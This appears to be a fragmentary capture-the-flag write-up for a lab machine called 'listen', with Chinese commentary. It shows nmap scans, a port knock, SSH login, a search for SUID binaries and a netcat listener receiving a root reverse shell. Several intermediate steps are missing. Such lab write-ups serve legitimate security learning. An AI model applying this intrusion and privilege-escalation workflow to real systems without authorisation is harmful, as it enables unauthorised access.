┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.179.158 Starting Nmap 7.95 ( https://nmap.org ) at2025-02-0810:13 CST Nmap scan report for192.168.179.158 (192.168.179.158) Host is up (0.0022s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp filtered http MAC Address: 56:6C:79:7A:84:65 (Unknown) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 12.22 ms 192.168.179.158 (192.168.179.158)
OS and Service detection performed. Please report any incorrect results athttps://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in3.20seconds
┌──(root㉿kakeru)-[~/tmp] └─# knock 192.168.179.158 1337 -v hitting tcp 192.168.179.158:1337 ┌──(root㉿kakeru)-[~/tmp] └─# nmap -p- 192.168.179.158 Starting Nmap 7.95 ( https://nmap.org ) at2025-02-0810:29 CST Nmap scan report for192.168.179.158 (192.168.179.158) Host is up (0.00061s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp openhttp MAC Address: 56:6C:79:7A:84:65 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in2.77seconds
然后就可以用ssh登录到silence用户
提权
没有sudo权限 但是suid有一个home目录下leo用户的文件有suid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
silence@listen:~$ find / -perm -4000 -user root -print 2>/dev/null /usr/bin/mount /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/umount /usr/bin/newgrp /usr/bin/su /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /home/leo/poem silence@listen:~$ cd /home silence@listen:/home$ ls leo listen silence
1 2 3 4 5 6 7
silence@listen:/home$ cd silence/ silence@listen:~$ ls listen.sh note.txt silence@listen:~$ listen.sh -bash:listen.sh: command not found silence@listen:~$ cat note.txt "listen" told me that if I listen, I will hear his password....
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id bash: cannot set terminal process group (1123): Inappropriate ioctl for device bash: no job control in this shell root@listen:~# id uid=0(root) gid=0(root) groups=0(root) root@listen:~#